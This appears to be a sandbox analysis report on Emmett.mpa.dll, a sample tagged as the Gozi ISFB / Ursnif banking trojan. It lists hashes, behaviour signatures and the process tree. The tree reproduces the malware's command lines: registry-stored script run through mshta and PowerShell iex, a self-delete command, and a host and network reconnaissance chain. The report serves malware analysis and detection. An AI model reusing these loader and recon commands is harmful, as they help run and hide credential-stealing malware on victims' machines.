Overview

overview

10

Static

static

Emmett.mpa.dll

windows7_x64

10

Emmett.mpa.dll

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    06-07-2020 15:26

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General

  • Target

    Emmett.mpa.dll

  • Size

    264KB

  • MD5

    f2468454850c605558c6e959e07483b8

  • SHA1

    78a426659ffff4152573b41a55270a868f8220f0

  • SHA256

    f3bd51c1bd71274daa1112b90a478ab08ee9644c117cc5405b53d37b839e8fdc

  • SHA512

    5628bd8f9dcea25426b6242296cb9c34f86cfa75a36b14829d001594f040a83043f538da796fcf14d9eedc8aaac24af8a53c780ac57d524d9b90f994ec4e1180

Score
10/10
bankertrojangozi_ifsbursnifspywarediscovery

Malware Config

Signatures

  • Checks for installed software on the system 1 TTPs 21 IoCs
    discovery
  • Suspicious use of WriteProcessMemory 104 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Checks whether UAC is enabled 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 70 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
    adwarespyware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Discovers systems in the same network 1 TTPs 1 IoCs
    discovery
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 1415 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs net.exe
  • Enumerates processes with tasklist 1 TTPs 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of WriteProcessMemory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:3000
    • C:\Windows\system32\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\Emmett.mpa.dll,#1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1732
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe C:\Users\Admin\AppData\Local\Temp\Emmett.mpa.dll,#1
        3⤵
          PID:1864
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\28FFF86C-67D8-9AFA-31DC-8B6EF5D0EF82\\\AxInrvps'));if(!window.flag)close()</script>"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3720
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\28FFF86C-67D8-9AFA-31DC-8B6EF5D0EF82").AppCbcd))
          3⤵
          • Suspicious use of WriteProcessMemory
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          PID:1980
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\blgv55yd\blgv55yd.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2732
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF061.tmp" "c:\Users\Admin\AppData\Local\Temp\blgv55yd\CSC9F353470C0DC49C58E452258BFE261.TMP"
              5⤵
                PID:2504
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\o52nxxc2\o52nxxc2.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3452
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF1C8.tmp" "c:\Users\Admin\AppData\Local\Temp\o52nxxc2\CSC91B8251831CF4C5192F6679DAAB6A3F.TMP"
                5⤵
                  PID:60
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\Emmett.mpa.dll"
            2⤵
            • Suspicious use of WriteProcessMemory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            PID:1988
            • C:\Windows\system32\PING.EXE
              ping localhost -n 5
              3⤵
              • Suspicious behavior: CmdExeWriteProcessMemorySpam
              • Runs ping.exe
              PID:1492
          • C:\Windows\system32\cmd.exe
            cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\F344.bi1"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:420
            • C:\Windows\system32\nslookup.exe
              nslookup myip.opendns.com resolver1.opendns.com
              3⤵
                PID:2460
            • C:\Windows\system32\cmd.exe
              cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\F470.bi1"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:640
              • C:\Windows\system32\nslookup.exe
                nslookup myip.opendns.com resolver1.opendns.com
                3⤵
                  PID:2464
              • C:\Windows\system32\cmd.exe
                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\F344.bi1"
                2⤵
                  PID:2680
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\F470.bi1"
                  2⤵
                    PID:2736
                  • C:\Program Files\Windows Mail\WinMail.exe
                    "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
                    2⤵
                      PID:2316
                    • C:\Windows\system32\cmd.exe
                      cmd /C "wmic computersystem get domain |more > C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3620
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic computersystem get domain
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1232
                      • C:\Windows\system32\more.com
                        more
                        3⤵
                          PID:1980
                      • C:\Windows\system32\cmd.exe
                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                        2⤵
                          PID:3404
                        • C:\Windows\system32\cmd.exe
                          cmd /C "systeminfo.exe >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                          2⤵
                            PID:2872
                            • C:\Windows\system32\systeminfo.exe
                              systeminfo.exe
                              3⤵
                              • Gathers system information
                              PID:1872
                          • C:\Windows\system32\cmd.exe
                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                            2⤵
                              PID:1592
                            • C:\Windows\system32\cmd.exe
                              cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                              2⤵
                                PID:1472
                                • C:\Windows\system32\net.exe
                                  net view
                                  3⤵
                                  • Discovers systems in the same network
                                  PID:2304
                              • C:\Windows\system32\cmd.exe
                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                                2⤵
                                  PID:1380
                                • C:\Windows\system32\cmd.exe
                                  cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                                  2⤵
                                    PID:3976
                                    • C:\Windows\system32\nslookup.exe
                                      nslookup 127.0.0.1
                                      3⤵
                                        PID:1528
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                                      2⤵
                                        PID:2992
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                                        2⤵
                                          PID:512
                                          • C:\Windows\system32\tasklist.exe
                                            tasklist.exe /SVC
                                            3⤵
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Enumerates processes with tasklist
                                            PID:2740
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                                          2⤵
                                            PID:420
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                                            2⤵
                                              PID:1872
                                              • C:\Windows\system32\driverquery.exe
                                                driverquery.exe
                                                3⤵
                                                  PID:1248
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                                                2⤵
                                                  PID:1472
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                                                  2⤵
                                                    PID:1996
                                                    • C:\Windows\system32\reg.exe
                                                      reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                                      3⤵
                                                      • Checks for installed software on the system
                                                      PID:1076
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                                                    2⤵
                                                      PID:2892
                                                    • C:\Windows\system32\cmd.exe
                                                      cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\13D7.bin1 > C:\Users\Admin\AppData\Local\Temp\13D7.bin & del C:\Users\Admin\AppData\Local\Temp\13D7.bin1"
                                                      2⤵
                                                        PID:1820
                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                      1⤵
                                                        PID:3548
                                                      • C:\Program Files\Internet Explorer\iexplore.exe
                                                        "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                                        1⤵
                                                        • Suspicious use of WriteProcessMemory
                                                        • Suspicious use of FindShellTrayWindow
                                                        • Checks whether UAC is enabled
                                                        • Modifies Internet Explorer settings
                                                        • Suspicious use of SetWindowsHookEx
                                                        PID:3924
                                                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3924 CREDAT:82945 /prefetch:2
                                                          2⤵
                                                          • Checks whether UAC is enabled
                                                          • Modifies Internet Explorer settings
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:2016
                                                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3924 CREDAT:82950 /prefetch:2
                                                          2⤵
                                                          • Checks whether UAC is enabled
                                                          • Modifies Internet Explorer settings
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:3616

                                                      Network

                                                      MITRE ATT&CK Enterprise v6

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